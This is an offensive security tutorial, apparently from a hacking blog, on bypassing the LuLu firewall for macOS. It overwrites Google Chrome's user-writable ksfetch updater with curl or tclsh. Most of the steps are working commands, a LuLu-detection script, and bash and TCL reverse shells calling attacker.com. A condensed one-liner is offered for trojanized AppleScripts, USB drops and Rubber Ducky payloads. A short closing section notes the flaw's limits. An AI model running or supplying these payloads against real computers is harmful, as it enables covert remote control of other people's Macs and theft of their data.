Firewall solutions for macOS aren't impervious to attacks. By taking advantage of web browser dependencies already whitelisted by the firewall, an attacker can exfiltrate data or remotely control a MacBook, iMac, Mac mini, or another computer running macOS (previously known as Mac OS X).
In a recent article, Kody demonstrated how to set up and install LuLu, an open-source firewall solution for macOS. While I had never tried LuLu before now, it always seemed like a reliable and free alternative to Little Snitch. After installing LuLu, I began trying to find a way to bypass its detection system.
Step 1: Install LuLu for the First Time
During the installation, LuLu began to find and whitelist Mac applications already installed in the operating system.
If my system was compromised before installing LuLu, it might miss a suspicious outbound connection and accidentally whitelist the activity. For that reason, I opted not to use that feature. All non-Apple connections would be reported and require user interaction.
- Don't Miss: Hide MacOS Payloads Inside Photo Metadata
I also took a few minutes to remove some whitelisted apps that appeared to be non-essential and minimized the attack surface. If we look at the remaining programs, they're all in protected directories that can't be modified with user privileges (i.e., without root).
Opening Google Chrome for the first time after installing LuLu, the Chrome Helper process attempted to contact the internet via DNS request.
This activity is allowed in an effort not to break the functionality of the application. Chrome eventually tried to update itself using the ksfetch and GoogleSoftwareUpdateAgent processes. Ksfetch and the update agent are well-known mechanisms of Google Chrome. Both instances were allowed as Chrome may fail to update in the future without them.
Another look at LuLu's user-specified rules, ksfetch and GoogleSoftwareUpdateAgent can be found as "allowed" in addition to some Apple programs that requested access to the internet.
That's all for setting up LuLu with a single web browser. Any background processes outside of Chrome and its dependencies attempting to contact a remote server are prevented.
Step 2: Bypass LuLu with Installed Applications
The bypass is made possible due to weak file and directory permissions assigned to some third-party applications installed outside the App Store. Let's have a look at file permissions for the Google Chrome browser, which was installed directly from Google via DMG installer.
~$ ls -l /Applications/
total 0
drwxr-xr-x 3 root admin 96B Jun 12 03:23 1Password 7.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Calculator.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 FaceTime.app
drwxr-xr-x@ 3 tokyoneon admin 96B Jun 4 08:50 Google Chrome.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Home.app
drwxr-xr-x@ 3 root wheel 96B Aug 18 2018 Image Capture.app
Notice the Google Chrome app is owned by the user and not "root" like other applications. And with another look at the ksfetch and GoogleSoftwareUpdateAgent rules in LuLu, we'll notice both of the binaries are in the /Users/$USER/Library/ directory.
In addition to files in the Chrome directory, these binaries can be modified by the user. To be clear, any files in /Users/$USER/Library/ and /Application/Google\ Chrome.app/ are fair game for an attacker and easily modified.
The below command will override ksfetch with curl, which is not whitelisted in the LuLu firewall.
~$ cp /usr/bin/curl /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
Despite curl not being whitelisted, an attacker can still access the internet this way.
~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch "https://ifconfig.me/all"
ip_addr: 198.251.89.219
remote_host: unavaiable
user_agent: curl/7.54.0
port: 28596
language:
referer:
connection:
keep_alive:
method: GET
encoding:
mime: */*
charset:
via: 1.1 google
forwarded: 198.251.89.219, 216.239.36.21~
Ksfetch is used in this example, but GoogleSoftwareUpdateAgent and Google Chrome itself can be overridden and used to establish connections to a remote server or exfiltrate data. Overriding Chrome will, of course, break the browser's functionalities. But at that point, an attacker would have already exfiltrated sensitive information. With this knowledge, we can set up reverse shell payloads and remotely control the Mac from anywhere.
Step 3: Override Ksfetch with Tclsh
The following example utilizes the tclsh command, which will create an interactive Bash-like shell the attacker can use to execute commands remotely. For good measure, the tclsh binaries and symlinks have been manually blocked in the firewall.
As a low privileged user, the tclsh binary is copied over ksfetch, which completely overrides the file and its functionalities.
~$ cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
The tclsh command is invoked by directly calling the ksfetch binary. From this interactive terminal, commands are executed exactly as they would be with a Netcat or Bash shell.
~$ /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
% ls -la /
total 36
drwxr-xr-x@ 2 root wheel 64 Jun 25 09:57 .PKInstallSandboxManager-SystemSoftware
drwx------ 5 root wheel 160 Jun 5 19:36 .Spotlight-V100
drwxrwxr-x+ 138 root admin 4416 Jun 25 09:54 Applications
drwxr-xr-x+ 70 root wheel 2240 Jun 5 19:37 Library
drwxr-xr-x@ 2 root wheel 64 Oct 5 2018 Network
drwxr-xr-x@ 5 root wheel 160 Sep 21 2018 System
drwxr-xr-x 6 root admin 192 May 10 17:34 Users
drwxr-xr-x@ 5 root wheel 160 Jun 25 18:51 Volumes
drwxr-xr-x@ 37 root wheel 1184 May 22 11:14 bin
drwxrwxr-t@ 2 root admin 64 Oct 5 2018 cores
dr-xr-xr-x 3 root wheel 7834 Jun 25 09:50 dev
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 etc -> private/etc
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 home
dr-xr-xr-x 2 root wheel 1 Jun 25 16:57 net
drwxr-xr-x 3 root wheel 96 Oct 3 2018 opt
drwxr-xr-x 6 root wheel 192 Jun 5 17:49 private
drwxr-xr-x@ 64 root wheel 2048 May 22 11:14 sbin
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 tmp -> private/tmp
drwxr-xr-x@ 9 root wheel 288 Sep 21 2018 usr
lrwxr-xr-x@ 1 root wheel 11 Oct 5 2018 var -> private/var
% uname -a
Darwin User-MacBook.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDF 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 x86_64
%
Step 4: Design the Payload with Active Evasion
So, how would an attacker know if the operating system has LuLu installed to begin with? It's possible to enumerate installed security software by performing packet inspection and observing LuLu's auto-updates. However, we'll instead have the payload detect signs of LuLu before executing any commands.
In the below example, background processes are examined with the ps command. As we can see, several processes using the "LuLu" name are active.
~$ ps auxwww | grep -i [l]ulu
root 94 0.3 0.7 4349052 28088 ?? Rs 1:33AM 0:18.59 /Library/Objective-See/LuLu/LuLu.bundle/Contents/MacOS/LuLu
tokyoneon 291 0.0 0.8 4924936 35092 ?? S 1:34AM 0:01.10 /Applications/LuLu.app/Contents/Library/LoginItems/LuLu Helper.app/Contents/MacOS/LuLu Helper
A simple Bash if statement, embedded in an AppleScript, could effectively detect the LuLu process.
#!/bin/bash
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found."
else
echo "LuLu detected."
fi
A practical script that goes beyond detecting LuLu processes and automatically overrides Google Chrome binaries could appear as follows.
#!/bin/bash
# The `ps` command is used to view active processes and
# locate LuLu running in the background with `grep`.
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
# An arbitrary `echo` command. If LuLu is not found the
# following commands will execute. An example Bash
# reverse shell is included.
echo "LuLu not found. Hack the planet!"
/bin/bash -i >& /dev/tcp/attacker.com/443 0>&1
else
# Arbitrary `echo` command with sad face.
echo "Lulu detected :("
# Copy the `tclsh` binary over `ksfetch`.
/bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch
# TCL reverse shell, covered in the below article.
# https://null-byte.com/tcl-0186330/
echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch &
# Another `echo` command.
echo "Bypass LuLu and hack the planet!"
fi
The script can be condensed into one line to function nicely with trojanized AppleScripts, Mousejack attacks, USB dead drops, and USB Rubber Ducky payloads.
- Don't Miss: Bypass GateKeeper & Exploit macOS 10.14 & Lower
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1; else /bin/cp /usr/bin/tclsh /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch && echo 'set s [socket attacker.com 443];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | /Users/$USER/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksfetch & fi
If Chrome isn't installed on the target system, a different dependency of an alternate browser is enumerable with some effort. Discovering the installed browser(s) could appear as shown below.
#!/bin/bash
if [[ ! "$(/bin/ps auxwww | /usr/bin/grep -i [l]ulu)" ]]; then
echo "LuLu not found."
else
echo "LuLu detected."
if [[ -d "/Applications/Google Chrome.app/" ]]; then
echo "Chrome browser detected. Overriding Ksfetch..."
elif [[ -d "/Applications/Firefox.app/" ]]; then
echo "Firefox detected. Overriding <unknown>..."
elif [[ -d "/Applications/Opera.app/" ]]; then
echo "Opera detected. Overriding <unknown>..."
else
echo "Uh-oh, we're out of browsers to exploit..."
fi
fi
Identify Inconsistencies with the Bypass
LuLu would allow ksfetch (tclsh) access the internet with most attempts, but not always. On one occasion, I found rebooting the MacBook caused the bypass to fail and trigger LuLu's detection system even though ksfetch and other Chrome binaries were whitelisted.
I didn't get to spend a ton of time with LuLu but encourage anyone interested in this attack to figure out when and why it would sometimes stop whitelisted processes.
No Security Software Is Perfect
This article is not meant to be an attack on LuLu's developers. It merely illustrates how security software is not perfect, and no system is fully protected while using it.
LuLu is a fantastic firewall solution designed to prevent passive and common attacks. Like most software, it's not designed to withstand a targeted attack involving active evasion. Does this mean we should stop using LuLu and other security solutions? Absolutely not. While this flaw is easily replicated and not considered a significant vulnerability, firewall software like LuLu can still prevent attacks. With an established tclsh connection, for example, the attacker is limited to a few built-in tools that aren't whitelisted in the firewall. Downloading additional software or exfiltrating data is that much more difficult, thanks to LuLu.
If you enjoyed this article, follow me on Twitter @tokyoneon_ as I plan to share bypasses for more security software in the future. For questions and concerns, leave a comment or message me on Twitter.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
Be the First to Comment
Share Your Thoughts